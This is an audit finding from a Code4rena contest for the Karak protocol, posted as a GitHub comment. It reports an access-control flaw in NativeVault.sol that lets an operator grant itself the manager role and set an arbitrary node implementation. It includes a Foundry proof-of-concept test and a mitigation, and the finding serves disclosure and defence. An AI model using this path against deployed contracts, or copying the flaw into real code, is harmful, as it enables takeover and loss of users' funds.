howlbot-integration[bot] commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/main/src/NativeVault.sol#L53-L79

Vulnerability details

Impact

The operator can use any arbitrary nodeImplementation and grant themselves the manager role.

operator can use a malicious nodeImplementation address
operator can change current nodeImplementation to a malicious address

Proof of Concept

The operator can utilize arbitrary extraData, which can subsequently be decoded to reveal the manager address and nodeImplementation address. The system then grants the MANAGER_ROLE to the specified manager address and sets the provided nodeImplementation as the default nodeImpl address NativeNode.sol::initialize

function initialize(
    address _owner,
    address _operator,
    address _depositToken,
    string memory _name,
    string memory _symbol,
    bytes memory _extraData
) external initializer {
    _initializeOwner(_owner);
    __Pauser_init();

    if (_depositToken != Constants.DEAD_BEEF) revert DepositTokenNotAccepted();

    (address manager, address slashStore, address nodeImplementation) =
        abi.decode(_extraData, (address, address, address));

    if (manager == address(0) || slashStore == address(0) || nodeImplementation == address(0)) revert ZeroAddress();
    _grantRoles(manager, Constants.MANAGER_ROLE);    <@

    NativeVaultLib.Storage storage self = _state();
    VaultLib.Config storage config = _config();

    config.asset = _depositToken;
    config.name = _name;
    config.symbol = _symbol;
    config.decimals = 18;
    config.operator = _operator;
    config.extraData = _extraData;

    self.slashStore = slashStore;
    self.nodeImpl = nodeImplementation;   <@

    emit NativeVaultInitialized(_owner, manager, _operator, slashStore);
}

test:

    function testOperatorCanChangeTheImplementation() public {
        // use a random address
        address nativeNodeImpl = makeAddr('nativeNodeImpl');

        //operator can specific a slashStore address.
        address slashStoreRandom = makeAddr('randomAddress');

        // Deploy Vaults
        VaultLib.Config[] memory vaultConfigs = new VaultLib.Config[](1);
        vaultConfigs[0] = VaultLib.Config({
            asset: Constants.DEAD_BEEF,
            decimals: 18,
            operator: operator,
            name: "NativeTestVault",
            symbol: "NTV",
            extraData: abi.encode(address(operator), slashStoreRandom, address(nativeNodeImpl))
        });

        vm.prank(operator);
        IKarakBaseVault[] memory vaults = core.deployVaults(vaultConfigs, address(0));

        nativeVault = NativeVault(address(vaults[0]));

        //operator has manager role.
        assertTrue(nativeVault.hasAnyRole(operator, Constants.MANAGER_ROLE));
    }

out:

Ran 1 test for test/nativeRestaking/nativeVault.t.sol:NativeVaultTest
[PASS] testOperatorCanChangeTheImplementation() (gas: 548784)

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.97ms (2.09ms CPU time)

From above test we can see operator can grant themself manager role which can subsequently change the NodeImplementation address via NativeVault.sol::changeNodeImplementation

function changeNodeImplementation(address newNodeImplementation)
    external
    onlyOwnerOrRoles(Constants.MANAGER_ROLE)   <@
    whenFunctionNotPaused(Constants.PAUSE_NATIVEVAULT_NODE_IMPLEMENTATION)
{
    if (newNodeImplementation == address(0)) revert ZeroAddress();

    _state().nodeImpl = newNodeImplementation;
    emit UpgradedAllNodes(newNodeImplementation);
}

Tools Used

Foundry

Recommended Mitigation Steps

recommend only owner can change the nodeImplementation address.

Assessed type

Access Control

c4-judge commented 2 months ago

MiloTruck marked the issue as satisfactory